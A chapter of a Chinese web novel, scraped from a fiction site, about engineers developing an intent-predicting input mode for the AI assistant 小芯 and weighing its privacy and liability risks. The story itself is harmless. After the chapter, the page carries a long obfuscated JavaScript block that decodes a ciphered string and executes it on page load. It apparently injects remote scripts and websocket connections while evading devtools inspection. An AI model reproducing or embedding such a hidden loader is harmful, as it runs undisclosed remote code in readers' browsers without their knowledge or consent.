首页
第312章 小芯提出新交互模
返回
关灯 护眼:关 字号:小

第312章 小芯提出新交互模式「心感输入」

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    赵静推开小芯核心实验室的门时,里面的光比外面暗了一个色阶。不是设备没开,而是所有人都在盯着那几块被压暗亮度的屏幕——只有在这种非饱和显示下,微电容感应矩阵的热力图才能看得更清楚。
    五名工程师围着一张长条实验台,台上平放着一块被改装过的终端主板。主板边缘嵌着一圈极细的感应电极阵列,不是常规触控层,而是专门用来捕捉极微弱电场变化的实验性硬体。主板旁边连着的几台分析设备正在实时滚动数据,其中一台屏幕上跳动着一行极慢的曲线。
    赵静走近,没有说话。
    一名负责算法验证的年轻工程师抬起头,眼睛里有血丝,声音却压得很轻:「静总,第七轮封闭测试跑完了。特定环境下的意图预判准确率,比上周又涨了四个点。」
    赵静没有立刻看数字,而是先看那条曲线。
    曲线不是单一维度,而是四层叠加:微电容变化丶接触面热场漂移丶机械振动特徵丶以及用户使用习惯的时序模型预测。四层信号在毫秒级窗口内被同时送入小芯的本地推理框架,不依赖云端,不依赖网络,全部在终端侧完成。
    「离可用线还差多少?」赵静问。
    另一名负责硬体集成的工程师把一张对比表调了出来。表上有三行数字:当前实验室最佳丶工程可用门槛丶理论理想值。
    当前实验室最佳在安静环境丶固定姿态丶用户专注度高的场景下,已经摸到了可用门槛的下沿。但一旦加入环境噪声丶多任务切换丶非标准握持姿态,准确率就会掉二十个百分点以上。
    「差最后一公里。」算法负责人说,「不是算法不行,是感应硬体和环境鲁棒性之间的耦合还没完全解耦。」
    赵静盯着那张表看了十几秒。
    她知道这最后一公里有多难。心感输入的本质,不是让用户多一种操作方式,而是让终端在用户产生交互意图的那一瞬间,就能提前完成准备。这意味着小芯不能只靠单一信号源判断,而要在多种微弱信号中,实时分离「噪声」和「真实意图」。这种分离在实验室里可以用高精度设备和理想环境做到,但在真实世界——用户的兜里丶桌上丶车上丶手里拿着边走边用时,信号质量会剧烈变化。
    「把第七轮的所有失败样本调出来。」赵静说,「不分大小,全部重标。」
    她不是不满意四个点的提升,而是知道,在这个阶段,失败样本的价值比成功样本高得多。成功只能证明这条路走得通,失败才能告诉你哪里还站不稳。
    实验区里没有人抱怨。
    五名工程师立刻分头行动,把过去一周积累的三千多条失败记录重新拉出来,按照环境类型丶干扰源丶用户姿态丶硬体批次丶算法版本五个维度重新切分。这活很枯燥,却是心感输入从实验室走向工程化的必经之路。
    赵静走到另一侧的小芯推理测试台前,把第七轮的整体数据导入分析窗口。她没有急着看结论,而是先让小芯自己把「为什么会失败」这件事做了一层初筛。
    几分钟后,屏幕上跳出几组聚类结果。
    最大的一类失败发生在用户从静止到运动的状态切换瞬间。在这个时间窗口里,微电容信号的波动幅度会突然增大,热场分布也会因为手部姿态变化而快速漂移,小芯的意图识别模型容易出现判断滞后或误触发。
    第二大类是复杂握持姿态下的边缘感应区信号串扰。当用户用左手丶或手指覆盖多个感应区时,原本清晰的意图边界会变得模糊。
    第三类最小,却最让赵静在意——在某些特定环境电磁干扰下,感应矩阵的整体信噪比会下降到模型几乎无法工作的程度。这类场景不常见,但一旦出现,心感输入就会完全失效。
    她把这三类问题打包,发给了硬体集成组和算法组,同时抄送林薇。
    林薇的回信来得很快,只有一行字:「三类问题三类处理。环境电磁干扰那条,先看能不能用硬体滤波兜底,兜不住再改算法。」
    这就是林薇的风格。不推诿丶不绕弯,直接把问题拆成可执行的动作。
    下午两点,陈醒到了小芯核心实验室。
    他不是来视察,也不是来听汇报,而是赵静约他来看一次完整的现场演示。
    实验区清空到只剩一张实验台丶一台终端主板丶一套信号采集设备。赵静亲自做测试者,把右手放在终端边缘的感应区附近,没有触碰,没有语音,只是很自然地做了一个「准备拿起终端」的动作。
    屏幕上,四层信号曲线在极短时间内完成了一次完整的升降。
    紧接着,终端亮了。
    不是解锁,不是进入主屏,而是一种中间状态——小芯认为用户即将使用终端,提前把低功耗待机中的关键服务预热到了可瞬时响应的状态。
    从信号变化到终端响应,总耗时不到两百毫秒。
    陈醒盯着那几根曲线,没有说话。
    赵静又做了第二个动作。她把终端放在桌上,手指轻轻靠近感应区但悬停不落。屏幕没有亮起,但后台日志显示小芯已经完成了三次意图概率计算,最终判定「用户可能只是想调整终端位置而非使用」,因此没有激活交互界面。
    「这是最难的部分。」赵静解释道,「不是判断用户什么时候想用,而是判断用户什么时候不想用。误触发比漏触发更让人烦。」
    陈醒点了点头,终于开口:「准确率现在到底多少?」
    赵静没有美化,把那张对比表原样调了出来。
    「最好场景下,意图预判准确率已经能到接近可接受水平。但在复杂环境里,还有很大差距。离产品化至少还需要一到两轮硬体叠代和三到四轮算法重构。」
    「硬体叠代需要什么?」陈醒问。
    硬体集成负责人硬着头皮说:「需要更灵敏丶更低噪声丶更好环境适应性的感应电极阵列。现有方案是在现有主板结构上改的,有很多妥协。如果要真正达到产品级,可能需要单独定制一套感应层硬体,甚至影响整机堆叠。」
    这是一个很敏感的问题。
    天衡5已经进入量产准备期,整机结构全部冻结。如果心感输入要定制感应层硬体,就意味着它不可能出现在天衡5上,只能等下一代终端。
    陈醒没有犹豫。
    「那就等下一代。」他说,「心感输入这件事,不赶天衡5的窗口。它值得单独一代产品来承载,而不是在现有平台上凑合。」
    赵静心里微微一松。
    她最怕的就是高层觉得「这个方向不错,先塞进天衡5再说」,那样只会让一个本可以长成新范式的东西,在一款已经定型的终端上被压缩成一个半生不熟的卖点。
    「但研发节奏不能慢。」陈醒补了一句,「天衡5之后的下一代旗舰,我要看到这个方向具备产品化的真实能力。」
    「明白。」赵静答得很乾脆。
    接下来的两个小时,赵静带着团队把心感输入的技术路线图重新梳理了一遍。
    硬体侧,感应电极阵列从「改版」升级为「定制」,单独开一条预研线,不与任何现有终端项目的硬体周期绑定。算法侧,小芯的意图推理模型从当前的规则+轻量学习混合架构,逐步向更深的端侧轻量化神经网络迁移。验证侧,增加真实环境下的长周期采集,不再只依赖实验室可控测试,而是让内部员工在日常使用中积累脱敏数据。
    每一条线都被压成了可量化的里程碑。
    周明在傍晚时也来了一趟。
    他不是技术线的人,但他管风险边界。心感输入这种新交互模式,一旦涉及用户行为预判丶环境感知丶微信号采集,就必然会在数据隐私丶设备权限丶甚至「终端是否在过度采集用户意图」这些敏感问题上引来外部关注。
    「法律层面有没有红线?」赵静直接问。
    周明把一份连夜整理的风险清单放在桌上。
    「三条。第一,感应层采集的微电容丶热场丶振动信号,在法律上不属于传统意义的个人信息,但一旦这些信号被用来推断用户意图,就可能被解释为行为数据。第二,如果心感输入的预判出现显着偏差,比如用户根本没想用终端却被判定为想用,不涉及隐私泄露,但如果反过来——用户想用却被判定为不想用,导致紧急情况下的响应延迟,那就可能涉及责任边界。第三,也是最麻烦的——外部可能会借这个方向渲染『未来科技的终端在时刻感知用户』,即使我们所有计算都在本地完成,不传云端,这种舆论风险也很难完全消除。」
    赵静沉默了几秒。
    「前两条能通过技术和产品设计规避。」她说,「第三条不是技术问题,是话语权问题。」
    周明点头:「所以要在产品定义阶段就把解释框架建好,不能等对面先定性。」
    陈醒听完两人的汇报后,只给了一句判断:「心感输入的方向继续走,但产品化之前,隐私边界和责任边界必须比技术本身更早成熟。」
    这句话后来被赵静写进了心感输入的研发准则里。
    夜里,小芯核心实验室的灯没有熄。
    硬体组在重新设计感应电极阵列的排布方案,算法组在把那三类失败场景拆成更细的子问题,验证组则开始筹备第一轮真实环境下的长周期采集计划。
    赵静站在实验台前,看着那块改装主板边缘的感应电极阵列,忽然想起很多年前小芯刚上线时,外界对AI助手的定义还停留在「语音问答」和「简单控制」。而现在,小芯已经能深入制造丶EDA丶材料实验,甚至开始尝试在用户产生意图之前就完成准备。
    这不是功能叠代,是交互范式的代际跨越。
    她拿起终端,给林薇发了一条消息:「心感输入的感应层硬体要单独开线,不影响天衡5,但会影响下一代终端的堆叠逻辑。你那边什么时候能腾出人手?」
    林薇回得很快:「追光材料实验第一轮重测后天收口。收完我带整机团队过来。」
    赵静看着那条回复,嘴角微微动了一下。
    追光丶天衡丶车规丶补天丶心感输入——每一条线都在同时往前压,没有哪条线有资格等人,也没有哪条线会因为别的线更难就减速。
    深夜十一点,陈醒离开研究院前,又看了一遍赵静发来的心感输入技术路线简图。
    从感应硬体到算法模型,从验证方案到产品化路径,从隐私边界到责任定义,每一条都被标注了当前状态和下一阶段目标。整张图很细丶很密丶很克制,没有夸张的时间表,也没有「颠覆世界」那种空洞表述。
    他看完后,只回了四个字:「继续,别飘。」
    这四个字,赵静后来让人列印出来,贴在了小芯核心实验室的入口处。不是口号,是提醒——提醒所有人,心感输入这条路还很长,现在远没到可以松口气的时候。
    远处,补天区的灯又亮了一片。
    EDA国产化进度的最新数据正在被压进一级权限库,那个数字还在慢慢往前爬。而火龙联盟那边,关于华夏芯全面制裁的讨论,已经从产业安全圈向更高层渗透,像一层正在变厚的乌云,缓慢而不可逆地压过来。
    可在这个夜里,小芯核心实验室里的所有人,眼里只有一件事——
    如何让终端在用户产生意图之前,先一步准备好。
    这不是炫技,不是噱头,而是陈醒说的那句「继续设计未来」里,最朴素丶也最难的那一部分。
    实验台的主板上,感应电极阵列的微光在暗色环境里几乎看不见,可它正在一刻不停地捕捉着空气里那些比蝴蝶振翅还微弱的信号。而小芯,就在那些信号里,一点一点学着读懂人的意图。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();